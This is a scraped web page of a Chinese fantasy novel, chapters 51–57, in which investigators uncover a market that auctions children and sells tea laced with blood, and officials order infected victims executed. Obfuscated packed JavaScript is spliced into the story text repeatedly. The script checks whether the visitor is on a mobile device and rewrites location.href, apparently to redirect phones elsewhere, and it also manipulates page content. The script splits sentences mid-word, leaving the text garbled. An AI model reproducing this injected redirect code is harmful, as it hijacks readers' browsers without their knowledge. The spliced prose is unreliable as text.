l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170798|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过这山上山下都不安全,那孩子又能逃到哪里去? 秦在锦将林惠婵的尸身抱到了床上安置着,而后三人同楼淑姣道别离开了这里。 “你说沈哥会去哪呢?”秦在锦跟在江洵身后问道,这人刚哭过的眼圈还泛着红。 这四人在与江洵他们分开后,本是径直朝山上走去,但快走到山顶的时候听到有人窸窸窣窣谈话的声音,可他们前后左右都空无一人。那么声音传出的地方只能是地下了。沈亦行和傅霖同时想到了这一点,立马停下了前行的脚步蹲了下去。 “蕴灵能感知到么?”傅霖问道。 “对于没有灵力和修为的人来说,蕴灵即使碰到也不会给予反应,但若是……”沈亦行边说边将手掌按在地上,一点点释放出自己的灵力,这次的蕴灵和以往不同,不是往四周扩散而是缓缓地往地面下沉。 “若是对有点修为的人来说,哪怕灵力低微也能感知到。”他收回右手,可以确定的是方才过去的那几人的确并非寻常的百姓。 沈亦行看了眼沾了土的手掌心,皱了下眉头。 “沈兄,用这个。”仝舟贴心的递过去一张帕子。 “谢谢。” “嗐!甭跟兄弟客气!”对于家大业大的仝舟来说,一个帕子真的算不上啥。他沈亦行若是喜欢,送他一马车都没问题。 “既然地下有能行走的通道,那么这附近或许有能下去的入口。”傅霖说道。 “那要不咱几个分开找找?”佐元成提议道。 “不用麻烦,这现成的打通就好。”沈亦想站起身说道。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第51章 晌贪欢 沈亦行放下手中的筷子,擦了擦嘴后看向了吃的正香的仝舟,那人察觉到沈亦行的目光后不解的问道:“沈兄可是有事要同我说?” “有一事本不该由我多嘴,但还是想问一下仝楼主。” “沈兄这就见外了啊!咱都是兄弟,有什么话你直说!”仝舟见沈亦行的表情有些严肃,便也坐直了身子听他讲话。 沈亦行犹豫了一会儿后开口问道:“仝老先生去世以后,你可曾派仵作查验过尸身?” “这个么……倒不曾。我爹爹去世的很突然,除了舌头被人一刀砍了去,胸口处也插着一把匕首。可谓是一击毙命,族中长老觉得应该尽快入土为安,至于凶手可以慢慢查。更何况当时所有的线索都指向江三,便没有请专门的人过来验明死因究竟为何。沈兄这么问,是对当年我爹的案子有些眉目?”仝舟表情严肃地看着沈长轩问道。 仝舟虽然平时看起来放荡不羁,但只要涉及到他父亲的事,他都会格外认真对待。 “当年的宴席我也在场,仝老先生虽说话刻薄,但江姑娘也当场还击了回去,不至于事情过了以后再次伤人。而且,怎得偏偏那么巧,行刺要选在与她发生口角那日,甚至连伤人的方式都和白日里所言一致,这不明摆着暴露身份么。如果是我要行刺,肯定换种方法,换个时间才是上策,不是么?”秦念淑皱起眉头,一边思考一边说道。 “那江三本就是个目中无人又睚眦必报的女子。她此举若就是想要昭告天下我爹是她所杀的也未可知!”仝舟立即大声反驳道。 “那她当日又何必一刀砍向桌子呢,直接砍了脖子岂不是更能震慑那些乱嚼舌根的东西??!”秦念淑气的将手中的筷子重重的放下。 “嚷嚷什么,怕别人听不到么?”沈亦行用食指敲了敲桌子,示意他们声音小些。随后继续说道:“你既说了江挽是目中无人之辈,那她又何必做暗中行刺之事呢?” “她...她!!”仝舟一时间被反问的说不出话来。 “我知你是心急则乱,但仝楼主,万一凶手不是江挽,那你这些年岂不是都白白放过了那人。”沈亦行缓缓地倒了一杯茶水,然后轻轻地递给了仝舟,示意他先冷静一下。接着,他又倒了一杯水,递给了秦念淑,试图让她消消气儿。 “况且,仝老先生这一生的仇人难不成只有一个发生过口角之争的江挽么?”沈亦行轻声说道,他的语气带着一丝疑问,仿佛在暗示着什么。说完这句话后,他的眼神微微瞥向了坐在那里一言不发的佐元成。自从刚才开始,那个人就一直低着头,似乎在逃避着什么。 仝老虽然不是佐元成的亲生父亲,但作为济云楼的一员,当自己的楼主与他人激烈争吵时,他却选择低头不语,甚至连一句附和的话都没有说出口。这种行为实在有些古怪。佐元成察觉到有人正在注视着他,于是抬起了头,恰好迎上了沈亦行锐利的目光。他迅速低下头,额头上竟然冒出了些许冷汗。 沈亦行收回了视线,将注意力重新放回秦念淑身上。换了个话题问道:“你来的早,可有调查到什么有用的线索?” 秦念淑接过那杯水喝了一口后说道:“有是有,不过有件事儿我比较在意,得等项阳来了以后再向他确认一番。还有,你知道门口那个牌坊上刻的什么字么?我他娘的真是恨不得冲过去砸烂它!” “一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170799|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晌贪欢。”江洵看着牌坊上的字念道。 “我倒要看看这里面贪得是什么欢。”项阳咬牙切齿道。 三人本来想着直接大大咧咧地闯进这处地方,但随后觉得这样做似乎有些不妥当。于是,他们耐心等待了半个时辰,终于等到了上山的人。当这些人走近时,三人毫不犹豫地上前,一手刀将他们砍晕。由于动作利落,迅速而准确,让上山的人措手不及。然后,他们开始搜刮这些人身上的东西,不管那些东西是否有用,都一股脑儿地带走了。 完成这一切后,他们才小心翼翼地走进牌坊内。一进入里面,就注意到牌坊下方摆放着一张四方桌,然而旁边的座位却空无一人。他们趁此机会悄悄地溜进了内部。 可是,没走多远,突然有人大声喊道:“你们仨进来之前登记过了吗?”听到这个声音,江洵和项阳默契地选择保持沉默,静静地站在原地。秦在锦无奈地看了他俩一眼,叹了口气。最终还是很配合地走上前去,与那个满身酒气的人交谈起来。 秦在锦客气地回答道:“我们方才在这里等了一会儿,但是见一直没有人来。又因为有急事需要处理,所以就先进来了。” “是么?”那人上下打量了一下他们三个。 “是的,若是您需要的话,我们仨现在跟您回去登记也是可以的。”秦在锦说的十分认真。 “可我看着三位有些面生啊?之前好像没见过你们,麻烦牌子出示一下。” “什么牌子?你方才扒人衣服的时候有留意到么?”站在后面的项阳轻声的问江洵。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第52章 蜉蝣观 如果单子上各个年龄段的孩子都被轮流推上台拍卖,那么背后又将会涉及到多少条性命和多少个家庭? 况且看着这群人的表情和那熟练的竞拍动作来看,这种事想必每天都在发生。 秦在锦不禁打了个寒颤,他刚想冲上去的时候却被江洵一把拉住了。 “忍着。”江洵的声音冷冰冰地传来。 秦在锦回头看着江洵,只见他一脸冷漠,难道他早就猜到单子上的内容了? 秦在锦又看了眼项阳,发现那人也只是皱着眉头看着台上的婴儿,但脸上同样的没有丝毫的震惊。 “这要忍到什么时候?”秦在锦忍不住颤抖着问道。 “还有别的商铺没去看,如果此时惊动了他们,那么别的线索就都断了!”江洵依旧是那副冷漠的语气。 秦在锦明白江洵说得有道理,但如果继续待在这里,他真的会窒息而死。 他用力扯掉江洵的手,然后头也不回地走了出去。 他来到门口,大口呼吸着新鲜空气,试图平复内心的波澜。他不敢走远,只站在了江洵能一眼就看到的视线范围内。 他知道自己不能冲动行事,必须保持冷静,他只是觉得无能为力。 原来他的医术救不了所有人啊,起码救不活这群人! “本店特色——坞茶,煮好咯!各位客官若有想要品茶的,可以抬手示意,届时会由小二给您送桌上去。” 此话一出,好几桌的人争相抬起了手,嚷嚷着让小二先送他们那一桌儿。甚至还有提壶自己去倒的。 “坞茶?什么玩意儿?”仝舟此刻已经冷静了下来,注意力被店主一嗓子吸引了过去。 “要……要来一壶尝尝吗?”佐元城小声问道。 “让他上一壶,我倒要看看卖的是什么名茶。”仝舟一脸不屑的回。 “好。”佐元城也随之抬起了右手,只是他的视线始终不敢往沈亦行那边看去。 没一会儿就有小二端着一个盘子走了过来,他的步伐稳健而轻盈,仿佛生怕打碎了盘子里的东西。盘子上放置着一盏精美的琉璃壶和几个精致的琉璃杯。 随着小二将琉璃壶倾斜,一股清澈的茶水从壶嘴中流出,如同一道细流注入琉璃杯中。此时,空气中弥漫着淡淡的茶香,让人感到心旷神怡。仔细观察这茶水的色泽,它并不像一般的绿茶那样嫩绿鲜艳,而是呈现出一种偏红偏暗的色调,宛如深秋枫叶的颜色。 仝舟刚想拿起一杯品尝的时候,被沈亦行按住了腕子。 “哦!是在下鲁莽了,这第一杯自然是要先给沈兄!”仝舟笑着将手中的茶放到沈亦行的面前。 只是沈亦行并没有接过,坞茶在推送中泛起了涟漪,不久后又趋于平静。 “客官,这茶要趁热喝,放凉了就失去了原本的韵味。”小二站在那看着沈亦行。 沈亦行缓缓抬起眼眸,目光犀利,紧紧盯着小二,没有开口说一个字,但眼神中的威慑力让人不寒而栗。 一向聪慧的秦念淑也瞬间明白了这茶可能存在问题,她连忙打圆场道:“那个……你先去忙吧,不用在这里伺候了。” 待小二离开后,仝舟才压低声音询问:“沈兄,难道这茶真的有问题?” 沈亦行微微摇头,神色凝重。他伸出手,轻轻拿起茶杯,放在鼻尖闻了闻,一股淡淡的清香扑鼻而来,但其中似乎夹杂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170800|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一丝不易察觉的异味。 “有没有问题,一试便知。”秦念淑说着,从怀中掏出一根细长的银针,小心翼翼地将其插入杯中的茶水之中。众人目不转睛地注视着那根银针,然而,银针并没有发生任何变化,依然保持着原本的银色光泽。 “咦?竟然没毒啊。”秦念淑皱起眉头,感到有些疑惑不解。她用手帕仔细擦拭了一下沾了水的银针,确认无误后,又将其放回怀中。 仝舟这才松了口气,可当他下口气还没提起来时,便听沈亦行说道:“可若是血呢。” “什么!!!!!”仝舟瞪大了双眼。 傅霖听到这话,有些疑惑地看了一眼手中的茶盏。确实,如果这茶水里真的掺杂着白榆人的血,那么测毒针自然不会有反应。而且白榆人血液的颜色和茶水相近,即使混合在一起,一般人也很难看出端倪。 就在这时,秦念淑又从怀中摸出一张用弥生果浸泡过的符纸,想要将杯中的茶水倒在上面检验一下是否有毒,但她的举动却被一旁的沈亦行及时制止住了。 只见沈亦行轻轻地敲了敲桌子,然后,用手画了一个方位。 顺着那个方位看去,店家正站在不远处,直勾勾地盯着他们,眼神充满了警惕和敌意。更令人担忧的是,店家的手藏在背后,似乎握着什么利器,而从他们这个角度,恰好可以看到被身体遮挡的刀尖。 “我说你这孩子这几日怎么魂不守舍的又目无尊长的!你他丫的是不是中邪了?!让我看看究竟是哪个不长眼的东西敢跟在你身上!!”秦念淑突然大声说道,同时抄起手中的符纸,迅速朝着傅霖的身上狠狠贴去。 这章没有结束,请点击下一页继续阅读! 第53章 避尘珠 “嚷嚷什么!”秦念淑方才就听到了秦在锦和人谈话的声音,可怎么谈着谈着还吵了起来?秦在锦一看到秦念淑,那气焰立马消了一半。 这时项阳和江洵也从酒楼处走了过来。 “项记录员,有些话我想跟你确认一番。”秦念淑看到来人以后,直视着项阳的眼睛说道。 项阳长叹一声,心中已经有了大致的猜测。他点点头,“秦姑娘但说无妨。” 秦念淑的语气带着几分质问:“据我所知,中律司每年都会派遣属地的弟子去查探当地是否有冤案错案发生。像深塘坞这样的大案子,姑且不论是否应该由你们中律司负责,仅就坞神祸民这一事件而言,难道不该归属于你们的管辖范围吗?那为什么这样一个可怕的地方仍然存在于世上呢?是中律司的弟子检查不力?还是明明知道这件事却故意隐瞒不报?又或者是当地的中律司与衙门相互勾结?”她字字句句都让项阳无话可说。 项阳虽然来自隰城,但并不隶属于康郡,因此对于康郡的中律司情况一无所知。面对秦念淑的质问,他一时语塞,不知如何回答。最后,他表示需要先向康郡的律主杨信询问此事,只有经过深入调查才能了解事情的真相。况且,目前最紧迫的任务是增加人手来封锁这个地方。 “当务之急是请康郡律主及郡主均亲自带人来把这个地方封了。”沈亦行插话道。 项阳听到这句面露难色,随即惭愧的回道:“衙门那边还好说,但杨信此人...我身为记录员并没有那个权利差遣他来做事。” 沈亦行从怀中掏出了一个银色令牌,令牌上坠着紫色的流苏,中间镌刻着“律”字,四周均是紫藤花的花纹。 “看来你们少司主早就料到有这一天了。”他说完便随意地将令牌扔给了项阳。 项阳立即双手接过,仔细查看一番后的确是中律司的令牌,只是沈亦行为何会有这个?他疑惑地向沈亦行看过去。 “今朝榜前三名者皆有此令牌,为的就是在做任务时,能有足够的权利提审其任务地的中律司要员。”沈亦行解释道。 这件事并没有向各大门派和江湖人士公开,甚至连中律司的内部人员也鲜少有人知道这一规定。 秦念淑欣慰的笑了一声:“平日里还真没看出来我们阿珩这么有聪明呢。” “当你认为一个人简单的时候,要么他是真的纯粹,要么是他只在你面前纯粹。”沈亦行道。 “哦?你又懂了?莫非你是在谁面前纯粹了?”秦念淑调侃道。 “左右不是你。” “嘁!不稀罕儿!”秦念淑翻了个白眼。 “那我现在分别传信过去,顺便将令牌也一道传过去。”项阳说道。 沈亦行没有意见的点了点头。 几人找了个没人歇息的竹亭坐着,秦在锦在一旁帮项阳研墨。 “对了,此地可还有别的异常?”项阳写到一半时,抬头问道他们。 “在此问题之前,我想先问一句,贵司打算如何惩治这群人呢?”沈亦行环顾一圈“商铺”后,将目光落在了项阳身上。 “自然是先全部关押,再挨个审问。”项阳回。 “然后呢?”沈亦行似乎不太满意这个回答。 “然后该定罪的定罪,该流放的流放。” “请问对于山下的那些百姓,贵司又该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“怎么会?既是为了大陈,此等隐患自然是留不得。”沈亦行低头漫不经心的转动着手腕上的金珠子。 “要去看看嘛?”秦在锦压低声音问道江洵。 方才他不在酒楼,所以自然不知道酒楼里发生的事情,况且这个任务本就是他们几人接下的,如今全让项阳一个人去查算什么事儿。 江洵没有立即回答,而是先瞅了眼沈亦行,虽然他也不知道为啥第一时间要去看他,但就是觉得应该先跟那人示意一下。 沈亦行察觉到江洵的目光,抬头冲他看去,而后温柔地笑着说:“去吧。” “哦。”江洵得到示意,拽着秦在锦走了。 这一举动让身旁的傅霖皱了下眉,几个意思???你们关系有那么好吗??几时好的???我怎么不知道??? 但江洵却想的是,沈亦行方才的那一笑倒像一个他认识的人,可究竟像谁一时之间他还没想起来。 几人来到那个酒馆,本以为项阳会因为找线索跟里头的人发生争执,没想到那人正坐在凳子上对着眼前的茶盏发呆。 “有发现什么线索么?”秦在锦问道。 项阳本来皱着眉头,看到他们来了以后便倒了几杯坞茶递给他们。“你们觉得此茶都加了些什么?” 傅霖作为一个早就知道问题所在的人,便没有仔细去瞧。忽而想到什么问道项阳:“这茶……你没喝吧?” 他怕项阳那人为了查线索会喝上一口。 “放心,没有。” 听到这个回答,傅霖便松了口气,点点头没有再多说什么。 “这里面该不会是加了人血吧。”秦在锦想到这里大多都是做人口买卖,那会不会有什么人血做的茶?还有人肉包子之类的?想着就头皮发麻,立马将茶放的远远的。 江洵端起来放鼻子前闻了一下,就只是茶香气,再无别的味道。 “嗯,加了。”傅霖坐在那里说道。 “啊!真的是人血啊!”秦在锦脸色瞬间变白,觉得自己好像被恶心到了,连忙用手捂住嘴巴,生怕吐出来。 项阳想拿弥生符试一下,但刚掏出来,头顶上就传来了掌柜的声音。“这位公子,你这是要做什么?”那掌柜的正一副凶神恶煞的模样,语气冰冷的问道。 “你觉得我要做什么?”项阳不回反问。 “若是不喜欢喝,那便还给我们,没必要平白的糟蹋茶水。”那人有些不悦地说道,说罢便要上手去将茶壶收走,但那只手在还没有触碰到茶壶的时候被傅霖出手摁住了。 “急什么。”傅霖轻声说道,眼神里流露出一丝威严。 那人想要用力挣脱,但无论怎么使劲桌子上被压住的手都依旧纹丝不动。他娘的眼前这小子看着细皮嫩肉的,怎么有这么大的力气?? 刚想喊人过来的时候,却发现双唇紧闭说不出话来。只见傅霖将另只手的食指放在唇前,做了个噤声的动作。“我说了,别急。” 此时,桌子另一旁的项阳已经将弥生符放在桌上,然后将壶中的茶水缓缓地倒在上面。果然,如他们所料,茶水接触到符纸后,迅速扩散开来,如同墨水一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170802|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般。 “解释解释?”项阳捏着符纸在掌柜的眼前晃了晃,语气严肃地质问。 “嗯嗯嗯....”掌柜的此时哪怕想说话也说不出来,那脸硬是被憋得通红。 “无妨,让他说。”项阳示意傅霖解开噤声咒。 待傅霖解开后,那人开口道:“不知道公子想让我解释什么。” “铁证如山!你说我让你解释什么?”项阳生气的说道,随后又从怀中掏出一张干净的弥生符,毫不犹豫的将那人的食指划破,让血滴在了符纸上,可那符上除了沾染了一滴红血之外再无任何变化。 那掌柜的见状有恃无恐的笑道:“所以公子到底是想听我解释什么呢?” “你可知这茶里加了什么?” “我不知。”掌柜的明摆着是揣着明白装糊涂,他料定了项阳一行人在这儿查不出什么实质性的证据。他自然也认识项阳拿的是个什么东西,方才秦念淑几人掏出来的时候他就已经起了疑心,如今看到眼熟的傅霖坐在这里,更是确定这群人是来找茬的。 可是那又如何呢? 他心中笃定,这件事情即便闹得再大,也不过是被上面的人教训几句而已,毕竟性命无忧。 此时,店内的其他顾客听到声响后,也纷纷站起身来,脸上露出紧张之色。 原因很简单,坞茶已成为他们维持生命的必需品。自从他们喝下第一杯坞茶,那诡异的血液便与身体紧密融合在一起。即使剂量不大,但随着时间的推移,他们已然成瘾。更糟糕的是,如果不能及时饮用坞茶,他们的身体和器官将会逐渐衰竭,最终走向死亡。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第55章 河边走 就在此时,围堵在路口的人们纷纷凑了上来。这些人中,有的并未踏入道门,也没有加入任何门派,自然不知道眼前这人是何来历。 但也有几个修行中人是见过南宫珩的,此时他们心中暗自叫苦不迭,原本还抱有一丝侥幸心理,想着就算被检查,也不过是康郡当地的中律司敷衍了事地走个过场罢了。谁曾料到,竟然会有这么一尊大佛亲临现场。 南宫珩挥挥手让身旁其他的暗卫去查封其它的店铺,同时也要着重搜查一下有没有隐藏的地道或者暗室。 人群中的一名男子在心中纠结许久,终于鼓起勇气,战战兢兢地走上前来,向南宫珩行了一礼后说道:“少主,请问我们何时才能离开这里呢?小人只是路过此地想买点东西,现在要赶紧回去才行!” 南宫珩转过头去,目光如炬地盯着那名男子,反问道:“哦?那你想要买的东西买到了吗?” 那人紧张的不敢抬头,只是低着头小声回道:“没……没买到。” 他回的是没买到,而不是没买。 南宫珩看着那人眯起眼睛,“那当真是可惜,岂不是让您白跑了一趟。” “不……不白来,这不是有幸还能看到少主一眼么。只是这结界什么时候……”他边说边抬眼打量南宫珩的脸色,妄想揣摩那人的心思。 “自然是把这里调查的一干二净以后再撤结界,怎么?你不想同我多待一会儿?难不成方才那句话不过是在奉承我?” “不是不是,我哪敢奉承您!只是我真的有急事需要赶路了。” 南宫珩找了个地方坐下来,刚想翘起二郎腿。可又瞥到秦念淑也在场,便坐的端正了些。“什么急事儿?讲来听听。若是人命关天的大事儿,我派个人替你去做也未尝不可。” 那人本就是胡诌的,想要想法子逃过审查随便扯了个理由,可如今让他细说,他又一时间说不上来。总不能咒自己家人吧,愣是呆在那没回话。 “这样吧,你把你所知都一一告诉我,包括你究竟是为何而来,又欲买什么回去。左右今日你也是出不去了,不如坦白从宽,若事儿不大说不定还能早点儿回家。” 那男子开始犹豫了,若是全部都说出来?那他的妻儿父母又当如何?今日他本就是替人办事儿的,倘若将事情交代了出去,岂不是要害了自家人的性命?可若是不说…… 他南宫珩再有能耐,总不至于将来过这儿的人都杀了吧。再者说他也不过是受人指使,来买个孩子回去罢了,但这孩子不是还没买到么!自己的性命和全家人的性命,孰轻孰重他自然掂量的清楚。 等他刚考虑清楚,想要告诉南宫珩自己什么都不知道的时候,身后的酒馆突然发出了一阵响声。众人纷纷回头看去,只见项阳和一个黑衣人一前一后走了出来,不仅如此,二人身后还跟着几个人面如死灰的人。 “如何?”南宫珩抬了抬下巴,问道项阳。 项阳走过来,将手中一沓黑色的弥生符交给了南宫珩,“这几人是今天来的,还没来得及喝下坞茶,至于酒馆里其他人均已被感染,但……尚未查到背后的母体。” “杀了吧。” “可……”秦在锦刚想说些什么的时候,被江洵拽到身后。 可他们……不也是受害者么? 他想问,但他没有立场问。 来这里吃酒作乐的能有几个是无辜的?常在河边走又怎能不湿鞋? 他是大陈的子民,自该向着大陈。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170803|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 对于混迹在人群中、以自身血液来祸害并控制大陈子民性命的白榆人,就该当诛! 而对于这些受到感染的人,无论其是否有苦衷,又无论其是否被迫,只要在血液融合的那一刻便已经无药可救。与其他们苟延残喘地臣服于白瑜人,倒不如一刀给他们个痛快,至少还能挽回一些大陈的尊严。 你看,哪怕我的子民需要你的血才能活下去又如何?只要在毒发之前死去,那就还是我大陈的人,而非你白瑜人的走狗。 “来龙去脉有查清楚吗?”南宫珩问道。 “坞茶的原料最初确实并非是白榆血,而是采用未满月的婴儿血。可后来酒馆的客人越来越多且大多都是回头客,也有些聪明人儿发现此茶不对劲,可就算发现也为时已晚了。宋礼最初最初并不知情,也是被人揍了一顿后才发觉茶料被调换了,可掌柜的觉得无伤大雅,反正左右都是血,况且白榆血不仅能获得一批又一批的回头客,还能赚更多的银两便也默许了。” “原料是谁提供的?” “店里的小厮,食材之类的都是他下山去买的,但今日并不在酒馆。” “派人去查。” “是!” 这时,长阶口又来了一批人。走在最前面的两人是李洪全和杨信,他们身后还浩浩荡荡的跟着几十号人,看那架势不知道的还以为是来打架的。如果忽略掉末尾那几个暗卫的话。 杨信在收到信的那一刻就已经开始收拾东西打算跑路了,可他刚打开门就看到四个暗卫站在门口等他,那眼神分明是动了杀心的,如果他敢逃走那绝对会被这几人解决掉。 小主,这个章节后面还有哦,请点击下一 页继续阅读,后面更精彩! 第56章 捧束光 此时被踹倒在地的杨信终于忍不住开口说话了,他语气略带委屈地说道:“少主您也看到了,这个地方确实非常偏僻,而且距离村庄还有些距离,这些年来派去巡查的弟子没有发现此处的异常也很正常。至于深塘坞的献祭孩子一事,每次我们前来巡查时,村子里的人对这件事都是闭口不谈,这里的百姓如果存心想要隐瞒,那我们也是无从查起啊!” 听到这话,一旁的南宫珩不禁冷笑一声,嘲讽地说:“看来杨大人觉得自己很冤枉啊。” 杨信赶紧解释道:“少主!我们是真的不知情!” 南宫珩继续追问:“莫非这几十年来就没有人去中律司投过诉状书吗?” 杨信斩钉截铁地回答:“没有!”说完这句话后,他还不忘回头看一眼身后的其他人。后面的人见状立刻齐声附和道:“对啊!压根就没收到过!” 听到众人的话,南宫珩突然哈哈大笑起来,笑声中充满了讽刺和鄙夷。他冷冷地说道:“贵司这上下一心、团结一致的凝聚力真是让本少主好生欣慰啊!”随即他收起了笑脸,“那咱们就一点点地查,我有的是时间,也有的是法子,咱们慢慢耗。” 他此行虽然仓促了些,但好在带的人多,仔仔细细地将这个地方翻个底朝天也用不了多长时间。不过当务之急还是先把被困的人都救出来。 如今没有受伤的人都排队站在一旁等着验血,需确认没有受到感染以后才可以去酒楼里吃口热饭。而对于一些受伤的大人和孩子也特意安排了休息的地方,只需要坐在那等着秦家姐弟俩挨个儿去救治。 约莫过了一个多时辰,几个暗卫靠近后门的地牢里找到了被关的人,这些人大多数都是长得清秀的少男少女。而另一个牢房里则关着昨晚上“凭空消失”的孩子和未孕的女子。 如今有了这群当事人的指证,杨信便再办法再为自己的罪行开脱。 只是在将那群人捆起来看押的时候,江洵突然走上前来说话道:“能否将那名男子交给我们处置?”他一脸冷静地伸手指向了躲在人群中的赵庆,正是虎口处有胎记的那人。 南宫珩挑了下眉,语气带着一丝疑惑:“理由。” “那人杀了林惠婵。我答应过楼姐姐,若是遇到凶手便将他带回去。” “带回去,然后呢?” “无论是杀还是放,自然是要看楼姐姐的意思。”江洵回答道。 然而,南宫珩却冷笑一声,说道:“错了。是杀还是放,要看中律司的意思。”他并不认识江洵,也没那个心思去认识他。 江洵皱起眉头,“我若是执意要带走呢?” “口气倒不小。”南宫珩站起身,走到江洵面前,仔细打量着眼前的少年。“你的执意值不了几个钱,更吓唬不到谁。你是哪个门派的弟子?这般没规矩。” “献岁阁弟子,少主有何指教?”傅霖站在了江洵的身前,将他一把带到了身后。 “原来如此,倒也难怪。”南宫珩嘴角上扬,露出一抹意味深长的笑容。 献岁阁的弟子向来以蛮横无理着称,这一点在江湖上早已臭名远扬。毕竟,上梁不正下梁歪,前有大疯子温如玉,后有小疯子江挽,中间还夹着一个见人就怼的云璟,整天摆出一副别人欠他钱的臭脸。 “是何门派重要么?难不成杀人不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170804|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 该偿命吗?”沈亦行本来靠在一旁闭目养神,听到这边的动静,便也悠悠醒来。他揉了揉睡眼,一脸困倦地看着眼前的众人,语气中带着一丝慵懒和不耐烦。 南宫珩“啧”了一声,心中对沈亦行生出些许不满。他实在不太喜欢这人,这种人往往表面上看起来正直仁义,但实际上内心深沉得让人捉摸不透。尤其让他不爽的是,沈亦行经常和秦念淑混在一起,他什么身份?竟敢和秦念淑走得那么近!然而,他还是尽量保持着微笑,向沈亦行询问道:“沈公子这话是什么意思?” “字面意思。相月山弟子外出做任务,最终反倒被中律司的弟子行凶害死。这事儿要是传出去,岂不是在打你们的脸?这以后谁还敢接任务?谁还敢放心的把后背交给中律司。”沈亦行稍微坐正了些,随后看了眼江洵和傅霖,示意他们坐到自己身旁来。 “我说了,那人会带回中律司审判,这事儿不会翻篇儿!”南宫珩咬着牙,一个字一个字地从牙缝里挤出来。 “怎么审又怎么判?今日就敢背后捅刀,那明日岂不是当面挥剑?”沈亦行眯起眼睛,眼中闪过一丝危险的光芒。 南宫珩刚想反驳的时候,沈亦行突然提高声音,冷冷地道:“那人左右都是要死的,至于是死的悄无声息,还是死的人尽皆知。少主又当如何选择?” 他的话如同一把锋利的刀子,直直地刺进了南宫珩的心窝。 南宫珩握紧了手中的拳头,心中满是愤怒和无奈。 无论眼下他怎么选,都不过是被沈亦行牵着鼻子走罢了。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩! 第57章 非无优 仝舟也回忆了一下,好像确实没见过大着肚子的女子,按理说七个月已经很显眼了,哪怕扎堆在人群中也能让人一眼就注意到她。 “我也没什么印象。”佐元城说道。 那就说明吴娘子并没有被那群人带走,而是真的失踪了,或者是跑了。和院子里画九爪鱼的小展一样,偷偷跑掉了。 因为他特意留意过,并没有在被抓的孩子里看到小展的身影。 “那孩子跟她娘关系如何?”傅霖轻声问道。 “不好!她性格一点都不好!动不动就乱发脾气,还打人!她打人可疼了!”小男孩边吃糖边回。 秦在锦不知道从哪弄来的一包糖,为了威逼利诱……不对,是为了循循善诱!把糖都发给了这群小孩,现在再开口问话,他们一个个的都抢着回答。 “就是!她还喜欢往阿漓的鞋子里吐口水,我都看到好几次了!”另一个小孩也附和道。 “她还总是威胁我们,不乐意看见我们考的比她好,不然她就背着嬷嬷动手打我们!” 